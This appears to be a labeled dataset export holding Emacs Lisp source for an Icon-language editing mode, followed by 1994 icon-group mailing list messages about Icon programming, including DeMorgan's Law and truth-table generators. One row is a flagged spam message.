(defconst icon-tab-always-indent t ""*Non-nil means TAB in Icon mode should always reindent the current line, regardless of where in the line point is when the TAB command is used."") (defun icon-mode () ""Major mode for editing Icon code. Expression and list commands understand all Icon brackets. Tab indents for Icon code. Paragraphs are separated by blank lines only. Delete converts tabs to spaces as it moves back. \\\\{icon-mode-map} Variables controlling indentation style: icon-tab-always-indent Non-nil means TAB in Icon mode should always reindent the current line, regardless of where in the line point is when the TAB command is used. icon-auto-newline Non-nil means automatically newline before and after braces inserted in Icon code. icon-indent-level Indentation of Icon statements within surrounding block. The surrounding block's indentation is the indentation of the line on which the open-brace appears. icon-continued-statement-offset Extra indentation given to a substatement, such as the then-clause of an if or body of a while. icon-continued-brace-offset Extra indentation given to a brace that starts a substatement. This is in addition to icon-continued-statement-offset. icon-brace-offset Extra indentation for line if it starts with an open brace. icon-brace-imaginary-offset An open brace following other text is treated as if it were this far to the right of the start of its line. Turning on Icon mode calls the value of the variable icon-mode-hook with no args, if that value is non-nil."" (interactive) (kill-all-local-variables) (use-local-map icon-mode-map) (setq major-mode 'icon-mode) (setq mode-name ""Icon"") (setq local-abbrev-table icon-mode-abbrev-table) (set-syntax-table icon-mode-syntax-table) (make-local-variable 'paragraph-start) (setq paragraph-start (concat ""^$\\\\|"" page-delimiter)) (make-local-variable 'paragraph-separate) (setq paragraph-separate paragraph-start) (make-local-variable 'indent-line-function) (setq indent-line-function 'icon-indent-line) (make-local-variable 'require-final-newline) (setq require-final-newline t) (make-local-variable 'comment-start) (setq comment-start ""# "") (make-local-variable 'comment-end) (setq comment-end """") (make-local-variable 'comment-column) (setq comment-column 32) (make-local-variable 'comment-start-skip) (setq comment-start-skip ""# *"") (make-local-variable 'comment-indent-hook) (setq comment-indent-hook 'icon-comment-indent) (run-hooks 'icon-mode-hook)) ;; This is used by indent-for-comment ;; to decide how much to indent a comment in Icon code ;; based on its context. (defun icon-comment-indent () (if (looking-at ""^#"") 0 ;Existing comment at bol stays there. (save-excursion (skip-chars-backward "" \\t"") (max (1+ (current-column)) ;Else indent at comment column comment-column)))) ; except leave at least one space. (defun electric-icon-brace (arg) ""Insert character and correct line's indentation."" (interactive ""P"") (let (insertpos) (if (and (not arg) (eolp) (or (save-excursion (skip-chars-backward "" \\t"") (bolp)) (if icon-auto-newline (progn (icon-indent-line) (newline) t) nil))) (progn (insert last-command-char) (icon-indent-line) (if icon-auto-newline (progn (newline) ;; (newline) may have done auto-fill (setq insertpos (- (point) 2)) (icon-indent-line))) (save-excursion (if insertpos (goto-char (1+ insertpos))) (delete-char -1)))) (if insertpos (save-excursion (goto-char insertpos) (self-insert-command (prefix-numeric-value arg))) (self-insert-command (prefix-numeric-value arg))))) (defun icon-indent-command (&optional whole-exp) (interactive ""P"") ""Indent current line as Icon code, or in some cases insert a tab character. If icon-tab-always-indent is non-nil (the default), always indent current line. Otherwise, indent the current line only if point is at the left margin or in the line's indentation; otherwise insert a tab. A numeric argument, regardless of its value, means indent rigidly all the lines of the expression starting after point so that this line becomes properly indented. The relative indentation among the lines of the expression are preserved."" (if whole-exp ;; If arg, always indent this line as Icon ;; and shift remaining lines of expression the same amount. (let ((shift-amt (icon-indent-line)) beg end) (save-excursion (if icon-tab-always-indent (beginning-of-line)) (setq beg (point)) (forward-sexp 1) (setq end (point)) (goto-char beg) (forward-line 1) (setq beg (point))) (if (> end beg) (indent-code-rigidly beg end shift-amt ""#""))) (if (and (not icon-tab-always-indent) (save-excursion (skip-chars-backward "" \\t"") (not (bolp)))) (insert-tab) (icon-indent-line)))) (defun icon-indent-line () ""Indent current line as Icon code. Return the amount the indentation changed by."" (let ((indent (calculate-icon-indent nil)) beg shift-amt (case-fold-search nil) (pos (- (point-max) (point)))) (beginning-of-line) (setq beg (point)) (cond ((eq indent nil) (setq indent (current-indentation))) ((eq indent t) (setq indent (calculate-icon-indent-within-comment))) ; ((looking-at ""[ \\t]*#"") ; (setq indent 0)) (t (skip-chars-forward "" \\t"") (if (listp indent) (setq indent (car indent))) (cond ((and (looking-at ""else\\\\b"") (not (looking-at ""else\\\\s_""))) (setq indent (save-excursion (icon-backward-to-start-of-if) (current-indentation)))) ;;; ((or (= (following-char) ?}) ;;; (looking-at ""end\\\\b"")) ((looking-at ""end\\\\b"") (setq indent (- indent icon-indent-level))) ((= (following-char) ?{) (setq indent (+ indent icon-brace-offset)))))) (skip-chars-forward "" \\t"") (setq shift-amt (- indent (current-column))) (if (zerop shift-amt) (if (> (- (point-max) pos) (point)) (goto-char (- (point-max) pos))) (delete-region beg (point)) (indent-to indent) ;; If initial point was within line's indentation, ;; position after the indentation. Else stay at same point in text. (if (> (- (point-max) pos) (point)) (goto-char (- (point-max) pos)))) shift-amt)) (defun calculate-icon-indent (&optional parse-start) ""Return appropriate indentation for current line as Icon code. In usual case returns an integer: the column to indent to. Returns nil if line starts inside a string, t if in a comment."" (save-excursion (beginning-of-line) (let ((indent-point (point)) (case-fold-search nil) state containing-sexp toplevel) (if parse-start (goto-char parse-start) (setq toplevel (beginning-of-icon-defun))) (while (< (point) indent-point) (setq parse-start (point)) (setq state (parse-partial-sexp (point) indent-point 0)) (setq containing-sexp (car (cdr state)))) (cond ((or (nth 3 state) (nth 4 state)) ;; return nil or t if should not change this line (nth 4 state)) ((and containing-sexp (/= (char-after containing-sexp) ?{)) ;; line is expression, not statement: ;; indent to just after the surrounding open. (goto-char (1+ containing-sexp)) (current-column)) (t ;; Statement level. Is it a continuation or a new statement? ;; Find previous non-comment character. (if toplevel (progn (icon-backward-to-noncomment (point-min)) (if (icon-is-continuation-line) icon-continued-statement-offset 0)) (if (null containing-sexp) (progn (beginning-of-icon-defun) (setq containing-sexp (point)))) (goto-char indent-point) (icon-backward-to-noncomment containing-sexp) ;; Now we get the answer. (if (icon-is-continuation-line) ;; This line is continuation of preceding line's statement; ;; indent icon-continued-statement-offset more than the ;; first line of the statement. (progn (icon-backward-to-start-of-continued-exp containing-sexp) (+ icon-continued-statement-offset (current-column) (if (save-excursion (goto-char indent-point) (skip-chars-forward "" \\t"") (eq (following-char) ?{)) icon-continued-brace-offset 0))) ;; This line starts a new statement. ;; Position following last unclosed open. (goto-char containing-sexp) ;; Is line first statement after an open-brace? (or ;; If no, find that first statement and indent like it. (save-excursion (if (looking-at ""procedure\\\\s "") (forward-sexp 3) (forward-char 1)) (while (progn (skip-chars-forward "" \\t\\n"") (looking-at ""#"")) ;; Skip over comments following openbrace. (forward-line 1)) ;; The first following code counts ;; if it is before the line we want to indent. (and (< (point) indent-point) (current-column))) ;; If no previous statement, ;; indent it relative to line brace is on. ;; For open brace in column zero, don't let statement ;; start there too. If icon-indent-level is zero, ;; use icon-brace-offset + icon-continued-statement-offset instead. ;; For open-braces not the first thing in a line, ;; add in icon-brace-imaginary-offset. (+ (if (and (bolp) (zerop icon-indent-level)) (+ icon-brace-offset icon-continued-statement-offset) icon-indent-level) ;; Move back over whitespace before the openbrace. ;; If openbrace is not first nonwhite thing on the line, ;; add the icon-brace-imaginary-offset. (progn (skip-chars-backward "" \\t"") (if (bolp) 0 icon-brace-imaginary-offset)) ;; here we are (current-indentation)))))))))) (defun icon-is-continuation-line () (let* ((ch (preceding-char)) (ch-syntax (char-syntax ch))) (if (eq ch-syntax ?w) (assoc (buffer-substring (progn (forward-word -1) (point)) (progn (forward-word 1) (point))) '((""do"") (""dynamic"") (""else"") (""initial"") (""link"") (""local"") (""of"") (""static"") (""then""))) (not (memq ch '(0 ?\\; ?\\} ?\\{ ?\\) ?\\] ?\\"" ?\\' ?\\n)))))) (defun icon-backward-to-noncomment (lim) (let (opoint stop) (while (not stop) (skip-chars-backward "" \\t\\n\\f"" lim) (setq opoint (point)) (beginning-of-line) (if (and (search-forward ""#"" opoint 'move) (< lim (point))) (forward-char -1) (setq stop t))))) (defun icon-backward-to-start-of-continued-exp (lim) (if (memq (preceding-char) '(?\\) ?\\])) (forward-sexp -1)) (while (icon-is-continued-line) (end-of-line 0)) (beginning-of-line) (if (<= (point) lim) (goto-char (1+ lim))) (skip-chars-forward "" \\t"")) (defun icon-is-continued-line () (save-excursion (end-of-line 0) (icon-is-continuation-line))) (defun icon-backward-to-start-of-if (&optional limit) ""Move to the start of the last ``unbalanced'' if."" (or limit (setq limit (save-excursion (beginning-of-icon-defun) (point)))) (let ((if-level 1) (case-fold-search nil)) (while (not (zerop if-level)) (backward-sexp 1) (cond ((looking-at ""else\\\\b"") (setq if-level (1+ if-level))) ((looking-at ""if\\\\b"") (setq if-level (1- if-level))) ((< (point) limit) (setq if-level 0) (goto-char limit)))))) (defun mark-icon-function () ""Put mark at end of Icon function, point at beginning."" (interactive) (push-mark (point)) (end-of-icon-defun) (push-mark (point)) (beginning-of-line 0) (beginning-of-icon-defun)) (defun beginning-of-icon-defun () ""Go to the start of the enclosing procedure; return t if at top level."" (interactive) (if (re-search-backward ""^procedure\\\\s \\\\|^end[ \\t\\n]"" (point-min) 'move) (looking-at ""e"") t)) (defun end-of-icon-defun () (interactive) (if (not (bobp)) (forward-char -1)) (re-search-forward ""\\\\(\\\\s \\\\|^\\\\)end\\\\(\\\\s \\\\|$\\\\)"" (point-max) 'move) (forward-word -1) (forward-line 1)) (defun indent-icon-exp () ""Indent each line of the Icon grouping following point."" (interactive) (let ((indent-stack (list nil)) (contain-stack (list (point))) (case-fold-search nil) restart outer-loop-done inner-loop-done state ostate this-indent last-sexp at-else at-brace at-do (opoint (point)) (next-depth 0)) (save-excursion (forward-sexp 1)) (save-excursion (setq outer-loop-done nil) (while (and (not (eobp)) (not outer-loop-done)) (setq last-depth next-depth) ;; Compute how depth changes over this line ;; plus enough other lines to get to one that ;; does not end inside a comment or string. ;; Meanwhile, do appropriate indentation on comment lines. (setq innerloop-done nil) (while (and (not innerloop-done) (not (and (eobp) (setq outer-loop-done t)))) (setq ostate state) (setq state (parse-partial-sexp (point) (progn (end-of-line) (point)) nil nil state)) (setq next-depth (car state)) (if (and (car (cdr (cdr state))) (>= (car (cdr (cdr state))) 0)) (setq last-sexp (car (cdr (cdr state))))) (if (or (nth 4 ostate)) (icon-indent-line)) (if (or (nth 3 state)) (forward-line 1) (setq innerloop-done t))) (if (<= next-depth 0) (setq outer-loop-done t)) (if outer-loop-done nil (if (/= last-depth next-depth) (setq last-sexp nil)) (while (> last-depth next-depth) (setq indent-stack (cdr indent-stack) contain-stack (cdr contain-stack) last-depth (1- last-depth))) (while (< last-depth next-depth) (setq indent-stack (cons nil indent-stack) contain-stack (cons nil contain-stack) last-depth (1+ last-depth))) (if (null (car contain-stack)) (setcar contain-stack (or (car (cdr state)) (save-excursion (forward-sexp -1) (point))))) (forward-line 1) (skip-chars-forward "" \\t"") (if (eolp) nil (if (and (car indent-stack) (>= (car indent-stack) 0)) ;; Line is on an existing nesting level. ;; Lines inside parens are handled specially. (if (/= (char-after (car contain-stack)) ?{) (setq this-indent (car indent-stack)) ;; Line is at statement level. ;; Is it a new statement? Is it an else? ;; Find last non-comment character before this line (save-excursion (setq at-else (looking-at ""else\\\\W"")) (setq at-brace (= (following-char) ?{)) (icon-backward-to-noncomment opoint) (if (icon-is-continuation-line) ;; Preceding line did not end in comma or semi; ;; indent this line icon-continued-statement-offset ;; more than previous. (progn (icon-backward-to-start-of-continued-exp (car contain-stack)) (setq this-indent (+ icon-continued-statement-offset (current-column) (if at-brace icon-continued-brace-offset 0)))) ;; Preceding line ended in comma or semi; ;; use the standard indent for this level. (if at-else (progn (icon-backward-to-start-of-if opoint) (setq this-indent (current-indentation))) (setq this-indent (car indent-stack)))))) ;; Just started a new nesting level. ;; Compute the standard indent for this level. (let ((val (calculate-icon-indent (if (car indent-stack) (- (car indent-stack)))))) (setcar indent-stack (setq this-indent val)))) ;; Adjust line indentation according to its contents (if (or (= (following-char) ?}) (looking-at ""end\\\\b"")) (setq this-indent (- this-indent icon-indent-level))) (if (= (following-char) ?{) (setq this-indent (+ this-indent icon-brace-offset))) ;; Put chosen indentation into effect. (or (= (current-column) this-indent) (progn (delete-region (point) (progn (beginning-of-line) (point))) (indent-to this-indent))) ;; Indent any comment following the text. (or (looking-at comment-start-skip) (if (re-search-forward comment-start-skip (save-excursion (end-of-line) (point)) t) (progn (indent-for-comment) (beginning-of-line))))))))))",0,0 qhuynh@site.gmu.edu,icon-group-l@cs.arizona.edu,"Thu, 22 Dec 1994 18:46:58 +0000",HELP: conver gif -> icon OR gif -> ansi," does anyone know of a program, to convert GIF to ICON (win 3.1) and GIF to ANSI Thank you, qhuynh@site.gmu.edu ",0,0 ruiter@ruls41.fsw.leidenuniv.nl,icon-group-l@cs.arizona.edu,"Fri, 23 Dec 1994 13:58:36 +0000",Re: HELP: conver gif -> icon OR gif -> ansi,"Quoc Huynh (CS 332) (qhuynh@site.gmu.edu) wrote: : does anyone know of a program, to convert GIF to ICON (win 3.1) : and GIF to ANSI The Icon newsgroup is on the comp.lang hierarchy, indicating to the initiated that is is about a _programming language_. Not surprisingly, this programming language is called ""Icon"". Icon is a magnificent programming language, but representing GIF images as Icon source is, although certainly possible in principle, not the most obvious use of the language. Jan ",0,0 jsampson@cix.compulink.co.uk,icon-group-l@cs.arizona.edu,"Fri, 23 Dec 1994 21:38:08 +0000",Graphics for Windows,"Is anyone developing the graphics aspect of Icon to work on Windows - the one that sits on top of MS-DOS, not X-Windows? _John Sampson_ ",0,0 Bobr@voyager.cris.com,icon-group-l@cs.arizona.edu,"Fri, 23 Dec 1994 19:24:30 -0500",Help- Another Prob.?,"To: ALL Subject: Help- Another Prob.? Many thanks to all for responding to the problem that I was having with the ICON Config file. I ran MAKE on both the compiler and interpeter and everything seemed to go well until I received the following message: xfmonitr.o Undefined Symbol -profile Referenced from text segment /root/icon/src/runtime I'm using Linux...... and working with Icon V8.10 I found that I had an executable for both the compiler and interpeter and when I ran the Make Test, everything looked OK. I also wrote a couple of small Icon programs and tried both the compiler and interpeter and everything worked as planned. Do I still have a problem? Many Thanks, Have a great holiday Bob Randall --- ~ OLX 1.53 ~ Dogs come when you call. Cats have answering machines. ",0,0 MENGARINI@news1.delphi.com,icon-group-l@cs.arizona.edu,"Sun, 25 Dec 1994 05:56:46 -0500",DeMorgan's Law doesn't work,"I needed to find the first filename of the form ""w[0-9][0-9]"" that was not in use in either of 2 directories. This code ( nn := (0 to 9) || (0 to 9) , not exists( downloadDir || ""w"" || nn ) , not exists( targetDir || ""w"" || nn ) )|stop( ""No names of the form w[0-9][0-9] were unused."" ) works, but the separation of the 2 ""not exists"" calls is reminiscent of Algol-family languages' need to code things like if importantNumber = 1 | importantNumber = 2 where Snobol-family languages could just test whether importantNumber = 1 | 2 Analogously, Icon should be able to factor out the 2 ""not exists"" calls. But this ( nn := (0 to 9) || (0 to 9) , not exists( (downloadDir|targetDir) || ""w"" || nn ) )|stop( ""No names of the form w[0-9][0-9] were unused."" ) doesn't work because DeMorgan's Law doesn't work: if downloadDir || ""w"" || nn doesn't exist, exists() fails, not exists() succeeds, & the expression succeeds, without ever testing whether targetDir || ""w"" || nn exists. So far, this (every nn := (0 to 9) || (0 to 9) do { (exists( (downloadDir|targetDir) || ""\\\\w"" || nn ), next) | break })|stop( ""No names of the form w[0-9][0-9] were unused."" ) is the best I can do, but I dislike it because it makes use of a very obscure aspect of break; Griswold & Griswold 1990 p19 doesn't even mention it, altho it's in Appendix C on p285. (BTW, p19 seems to imply incorrectly that break only works with while & until, even tho every was introduced on p16; & Appendix C doesn't clarify this.) Can anybody suggest a more elegant expression? Can anybody suggest a language extension that would help? ""Software is neither science nor engineering. It's really an obscure form of poetry."" --Dirk Zoller Will Mengarini Hey, at least it's not AOL",0,0 omalley@porte-de-st-ouen.ics.uci.edu,icon-group-l@cs.arizona.edu,"Mon, 26 Dec 1994 14:10:30 -0800",Re: DeMorgan's Law doesn't work,"In <3djj5e$7pd@news2.delphi.com> MENGARINI@news.delphi.com (MENGARINI@DELPHI.COM) writes: > ( nn := (0 to 9) || (0 to 9) > , not exists( downloadDir || ""w"" || nn ) > , not exists( targetDir || ""w"" || nn ) > )|stop( ""No names of the form w[0-9][0-9] were unused."" ) I was playing around with your example and the following code works: every nn := ((0 to 1) || (0 to 9) | stop( ""No names of the form w[0-9][0-9] were unused."" )) do { exists( (downloadDir | targetDir | break) || ""w"" || nn ) } Owen Department of ICS | omalley@ics.uci.edu (ARPA) UC Irvine | http://www.ics.uci.edu/~omalley/ (WWW) Irvine, CA 92717 | ucbvax!ucivax!omalley (UUCP)",0,1 kwalker@sirtur.premenos.com,icon-group@cs.arizona.edu,"Tue, 27 Dec 1994 09:26:09 -0800",Re: DeMorgan's Law doesn't work,"> From: MENGARINI@news1.delphi.com (MENGARINI@DELPHI.COM) > > I needed to find the first filename of the form ""w[0-9][0-9]"" that was > not in use in either of 2 directories. This code > ( nn := (0 to 9) || (0 to 9) > , not exists( downloadDir || ""w"" || nn ) > , not exists( targetDir || ""w"" || nn ) > )|stop( ""No names of the form w[0-9][0-9] were unused."" ) > works, but the separation of the 2 ""not exists"" calls is reminiscent > of Algol-family languages' need to code things like > if importantNumber = 1 | importantNumber = 2 > where Snobol-family languages could just test whether > importantNumber = 1 | 2 > Analogously, Icon should be able to factor out the 2 ""not exists"" calls. > > But this > ( nn := (0 to 9) || (0 to 9) > , not exists( (downloadDir|targetDir) || ""w"" || nn ) > )|stop( ""No names of the form w[0-9][0-9] were unused."" ) > doesn't work because DeMorgan's Law doesn't work: > if downloadDir || ""w"" || nn doesn't exist, exists() fails, not exists() > succeeds, & the expression succeeds, without ever testing whether > targetDir || ""w"" || nn exists. The second example does work! When exists() fails, the alternation is resumed and the existance of the file in the other directory is tested. The following program shows that DeMorgan's Law holds in Icon: ********** Cut Here ********* # Demonstrate DeMorgan's Law using &null as false and 1 as true. # record pair(a,b) procedure main() local x # # Print truth tables. # write(""A B (not A) & (not B) not (A | B)"") write(""------------------------------------------"") every x := comb() do { writes(format(x.a), "" "", format(x.b), "" "") if ((not \\x.a) & (not \\x.b)) then writes(""T"") else writes(""F"") writes("" "") if not (\\x.a | \\x.b) then write(""T"") else write(""F"") } write() write(""A B (not A) | (not B) not (A & B)"") write(""------------------------------------------"") every x := comb() do { writes(format(x.a), "" "", format(x.b), "" "") if ((not \\x.a) | (not \\x.b)) then writes(""T"") else writes(""F"") writes("" "") if not (\\x.a & \\x.b) then write(""T"") else write(""F"") } end # # comb() - produce all 4 pairs of ""logical"" values. # procedure comb() suspend pair(1 | &null, 1 | &null) end # # Convert a ""logical"" value to ""T"" or ""F"". # procedure format(x) if \\x then return ""T"" else return ""F"" end ",0,0 jeffery@runner.jpl.utsa.edu,jsampson@cix.compulink.co.uk,"Tue, 27 Dec 1994 23:02:06 -0600",Re: Graphics for Windows," From: jsampson@cix.compulink.co.uk (""John Sampson"") > Is anyone developing the graphics aspect of Icon to work on Windows - > the one that sits on top of MS-DOS, not X-Windows? A version is in alpha testing. It passes the basic graphics test; at present, I am looking into portability and interface issues. It was developed under Windows NT 3.1, and making those binaries run comfortably under regular Windows 3.1, or building some 16-bit binaries, is our necessary next step. ",0,0 Zvi Lamm ,icon-group@cs.arizona.edu,"Wed, 28 Dec 1994 16:07:53 +0200",Truth-Table generator,"I had a need to write a program to output truth tables for boolean expressions. I used the programmming language J (a sister of APL). The 'program' was about two lines long. I wrote a program for the same task in Icon. I include it below. This Icon solution is ugly (because of the programmer, not the language..), but works. I would be happy to hear comments. Any idea for improvemnet is welcome. I got alot of help on comp.lang.apl when writing the J version - so don't let me down! I think I will write a short note comparing the solutions. My idea is to show the way different languages shape your thought. Both J and Icon are rather special in that they give the programmer tools not found in other languages. Does this interest anyone? Any way, here goes: # # Truth-Table genertor Ver -1.0 # 12.1994 # procedure main() n:=2 m:=2 # number of expressions # every write(Outl(t:=Truth_Table(n)),""--> "",Expr(t)); # shows many expr to many truth-table lines every { #write(repl(""-"",2*n-1+1+4*m))# t:=Truth_Table(n) & #------------------------# write("" "") & #<-force line break when # writes(Outl(t)) & # backtracking # every writes("" | "",Expr(t)) #------------------------# } end procedure Truth_Table(n) # # generates lines (as lists) of the truth table for n variables # works, but is ugly # tabl:=list(n,0) every i:=0 to 2^n-1 do # all lines { j:=i; # convert number to bits k:=n; while (j > 0) do { tabl[k]:=j % 2; k:=k-1; j:=j / 2; } suspend tabl # return line } end procedure Expr(vec) # # evaluates a list of bits (the logical expr) # when multiple expr are suspended a mechanism in main prints them side by # side # suspend (ior(vec[1],vec[2]) | ixor(vec[1],vec[2])) end procedure Outl(vec) # # prints a list # local s; s:="""" every x:=!vec do s:=s||x||"" "" return s end",0,0 Jerry Nowlin ,icon-group@cs.arizona.edu,"Wed, 28 Dec 1994 10:55:00 -0600",Re: Truth-Table generator,"> I had a need to write a program to output truth tables for boolean > expressions. I used the programmming language J (a sister of APL). The > 'program' was about two lines long. I wrote a program for the same task > in Icon. I include it below. This Icon solution is ugly (because of the > programmer, not the language..), but works. I would be happy to hear > comments. Any idea for improvemnet is welcome. > > I got alot of help on comp.lang.apl when writing the J version - so don't > let me down! I think I will write a short note comparing the solutions. > My idea is to show the way different languages shape your thought. Both J > and Icon are rather special in that they give the programmer tools not > found in other languages. Does this interest anyone? > > Any way, here goes: It's Christmas break (unless you have a real job) and I figured why not try this. I worked with what you had. There were a few little things I cleaned up but the major flaw was not in the Icon. This program didn't work with n larger than 2. That's not an Icon problem but what the heck. It's been a while since I worried about boolean anything but I took a shot. I also made it possible to pass in a larger n to verify the changes worked. I didn't include the original program so dig up the earlier mail for comparison. Jerry Nowlin # Truth-Table generator Ver -1.0 # 12.1994 # procedure main(args) local n, t n := get(args) | stop(""I need a 'n'"") # every write(Outl(t:=Truth_Table(n)),""--> "",Expr(t)) # shows many expr to many truth-table lines every t:=Truth_Table(n) & write() & writes(Outl(t)) & every writes("" | "",Expr(t)) write() end procedure Truth_Table(n) # # generates lines (as lists) of the truth table for n variables # list concatenation can't be that efficient but it's simpler # if n = 0 then return [] suspend [0|1] ||| Truth_Table(n-1) end procedure Expr(vec) # evaluates a list of bits (the logical expr) # when multiple expr are suspended a mechanism in main prints them side by # side # # you need copies of the list since it's eaten at it's booled # suspend Lior(copy(vec)) | Lixor(copy(vec)) end procedure Lior(vec) if *vec = 1 then return get(vec) suspend ior(get(vec),Lior(vec)) end procedure Lixor(vec) if *vec = 1 then return get(vec) suspend ixor(get(vec),Lixor(vec)) end procedure Outl(vec) # # prints a list # local s s := """" every s ||:= !vec || "" "" return s end ",0,0 swampler@noao.edu,icon-group@cs.arizona.edu,"Wed, 28 Dec 1994 11:15:39 +0700",Re: Truth-Table generator,"> I had a need to write a program to output truth tables for boolean > expressions. I used the programmming language J (a sister of APL). The > 'program' was about two lines long. I wrote a program for the same task > in Icon. I include it below. This Icon solution is ugly (because of the > programmer, not the language..), but works. I would be happy to hear > comments. Any idea for improvemnet is welcome. > > I got alot of help on comp.lang.apl when writing the J version - so don't > let me down! I think I will write a short note comparing the solutions. > My idea is to show the way different languages shape your thought. Both J > and Icon are rather special in that they give the programmer tools not > found in other languages. Does this interest anyone? Well, I managed to delete your original program, but here's one that's probably similar, using generators rather than vectors. Can it be adapted to your case? procedure main() local t1, t2 every (t1 := (0|1)) & (t2 := (0|1)) do { every writes(format ( t1 | t2 | # variables ""|"" | # separator iand(t1,t2) | ior(t1,t2) | # functions ixor(t1,t2) )) write() } end procedure format(t) # pretty up things for output, the 'wide' field width (5 characters) # would let this be used to produce a table header, as in: # # every writes(format(""A"" | ""B"" | """" | ""A&B"" | ""A|B"" | ""A^B"")) # write() # # though the above main program doesn't do so... # since this is a one-liner, it could be embedded in place of the call # above, but that would be ugly! return center(map(t, ""01"", ""FT""), 5) end ",0,0 Zvi Lamm ,swampler@noao.edu,"Wed, 28 Dec 1994 20:32:06 +0200",Re: Truth-Table generator," On Wed, 28 Dec 1994 swampler@noao.edu wrote: > > I had a need to write a program to output truth tables for boolean > > expressions. I used the programmming language J (a sister of APL). The > > 'program' was about two lines long. I wrote a program for the same task > > in Icon. I include it below. This Icon solution is ugly (because of the > > programmer, not the language..), but works. I would be happy to hear > > comments. Any idea for improvemnet is welcome. > > > > I got alot of help on comp.lang.apl when writing the J version - so don't > > let me down! I think I will write a short note comparing the solutions. > > My idea is to show the way different languages shape your thought. Both J > > and Icon are rather special in that they give the programmer tools not > > found in other languages. Does this interest anyone? > > Well, I managed to delete your original program, but here's one that's probably > similar, using generators rather than vectors. Can it be adapted to your case? > > procedure main() > local t1, t2 > > every (t1 := (0|1)) & (t2 := (0|1)) do { > every writes(format ( t1 | t2 | # variables > ""|"" | # separator > iand(t1,t2) | ior(t1,t2) | # functions > ixor(t1,t2) > )) > write() > } > > end > > procedure format(t) > > # pretty up things for output, the 'wide' field width (5 characters) > # would let this be used to produce a table header, as in: > # > # every writes(format(""A"" | ""B"" | """" | ""A&B"" | ""A|B"" | ""A^B"")) > # write() > # > # though the above main program doesn't do so... > # since this is a one-liner, it could be embedded in place of the call > # above, but that would be ugly! > > return center(map(t, ""01"", ""FT""), 5) > > end > I rather wanted an all generator solution myself. But the problem is that my truth tables ma have more than two variables (t1 and t2, above). Now this makes it a bit harder to do it like this... Ehud ",0,0 swampler@noao.edu,mslamm@pluto.mscc.huji.ac.il,"Wed, 28 Dec 1994 11:41:10 +0700",Re: Truth-Table generator,"You wrote: >>I rather wanted an all generator solution myself. But the problem is that >>my truth tables ma have more than two variables (t1 and t2, above). Now >>this makes it a bit harder to do it like this... If the number of variables is fixed, you can extend the code (though it starts getting uglier, fast): procedure main() every (t1 := (0|1)) & (t2 := (0|1)) & (t3 := (0|1)) do { every writes(format( t1 | t2 | t3 # variables ""|"" | # separator iand(t1,t2) | ior(t1,t2) | # functions ixor(t1,t2) | iand(t1, ior(t2,t3)) | ior(iand(t1,t2),iand(t1,t3)) )) write() } end There are tricks lying around to generalize to the 'n'th case with generators, but I've forgotten them! I was hoping someone would take the solution I mailed and generalize it... If I remember, the tricks were pretty ugly. I think I'd just brute force, but maybe change the above formatting slightly to: every (t1 := (0|1)) & (t2 := (0|1)) & (t3 := (0|1)) do {... -- Steve Wampler - swampler@gemini.edu [Gemini 8m Telescopes Project (under AURA)] -- The Gods that were smiling when you were born are laughing now. -- found in a fortune cookie ",0,0 swampler@noao.edu,icon-group@cs.arizona.edu,"Wed, 28 Dec 1994 13:33:14 -0000",Re: Truth Tables...,"I think I understand more of what the original problem was (maybe someone could mail to me again)? I like Jerry Nowlin's solution. Here's a version of it, recast to use strings instead of lists (because I like strings more than lists - must be my SNOBOL4 background raising its head again). I think it differs from Jerry's solution in the definition of XOR on more than 2 values. See the comment in my code on this point. I am curious as to how logicians define it. ------- procedure main(args) local n, t n := integer(args[1]) | 2 every t := gen_truths(n) do { every writes(format( !t | # values ""|"" | # separator s_and(t) | s_or(t) | s_xor(t) # functions )) write() } end procedure format(s) return center(s, 5) end # Generate all permutations of a n-wide boolean variable set procedure gen_truths(n) if n > 0 then suspend (""F""|""T"") || gen_truths(n-1) else return """" end # AND of an arbitrary number of values procedure s_and(t) return if upto('F',t) then ""F"" else ""T"" end # OR of an arbitrary number of values procedure s_or(t) return if upto('T',t) then ""T"" else ""F"" end # XOR of an arbitrary number of values # # This raises an interesting point, just *what is* the definition # of 'xor' with more than 2 arguments? This solution assumes # definition is 'exactly one TRUE', which is different than # an answer build up through iterative (or recursive) applications # of xor on two values at a time. I chose this definition # because with the other, xor isn't associative. Consider: # # Case 1: XOR(v1,v2,v3) <- (v1 xor v2) xor v3 # Case 2: XOR(v1,v2,v3) <- v1 xor (v2 xor v3) # Case 3: XOR(v1,v2,v3) <- s_xor(v1||v2||v3) {used here} # # with the call XOR(T,F,F) # # Case 1: produces T # Case 2: produces F # Case 3: produces T # # Cases 1 and 2 become stranger as the number of arguments increase. # One can produce a solution using Case 3 to mimic either Case 1 or # Case 2, anyway, e.g: # # s_xor(s_xor(v1||v2)||v3) # # What do real mathematicians use? What happens in 'J'? # procedure s_xor(t) return if i := upto('T',t) then { if upto('T',t,i+1) then ""F"" else ""T"" } else ""F"" end -- Steve Wampler - swampler@gemini.edu [Gemini 8m Telescopes Project (under AURA)] -- The Gods that were smiling when you were born are laughing now. -- found in a fortune cookie",0,0 Iseabail Ortego ,christy@zingg.weru.ksu.edu,"Wed, 28 Dec 1994 21:43:48 -0500","sags under your eyes, we can help","the concern ! homemade but serpens ! behave it's key ",1,0 kwalker@sirtur.premenos.com,icon-group@cs.arizona.edu,"Thu, 29 Dec 1994 08:56:04 -0800",Re: Truth Tables...,"I've been writing too much C and not enough Icon lately, so I decided it was time to have some fun. Below is a different variation on the theme of truth table generators. Ken Walker, kwalker@premenos.com Premenos Coporation, Concord, Ca. 94520 -------------------------------- Cut Here ----------------------------- # # This program takes as input on the command line a logical formula # containing variables and produces a truth table for the formula. # See below for the formula grammar. # # Ken Walker 12/29/94 # # The following records are nodes in the syntax tree of a formula. # record True() record False() record Not(a) record And(a,b) record Or(a,b) record Xor(a,b) global vars, var_set procedure main(a) local formula, parsed, symtab, max_var_len, formula_len # # parse the formula, putting the variables in the 'vars' list. # vars := [] var_set := set() formula := a[1] | stop(""please give a formula on the command line"") formula ? { parsed := expr() pos(0) | stop(""invalid formula"") } # # compute some lengths for formating output # formula_len := 5 formula_len <:= *formula max_var_len := 6 every max_var_len <:= *!vars # # output header line with variable names and formula # write() every writes(center(!vars, max_var_len + 1)) writes("" | "") write(center(formula, formula_len)) write(repl(""-"", *vars * (max_var_len + 1) + 3 + formula_len)) # # compute and print each set of variable assignments and formula # results # symtab := table() every assign_bool(vars, symtab) do { every writes(center(type(symtab[!vars]), max_var_len + 1)) writes("" | "") write(center(type(eval(parsed, symtab)), formula_len)) } end # # For each variable in a list, assign boolean values in a symbol # table. Boolean values are represented by True and False records. # This is a recursive generator producing all 